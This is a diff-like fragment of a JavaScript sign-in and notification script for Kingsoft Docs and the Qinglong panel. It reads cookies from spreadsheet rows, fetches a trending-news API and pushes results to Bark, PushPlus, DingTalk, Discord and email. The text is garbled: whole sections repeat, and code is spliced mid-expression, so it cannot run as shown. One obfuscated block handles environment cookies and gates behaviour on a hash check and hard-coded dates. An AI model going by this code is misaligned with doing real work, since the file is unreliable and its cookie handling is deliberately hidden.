console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/zh_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var 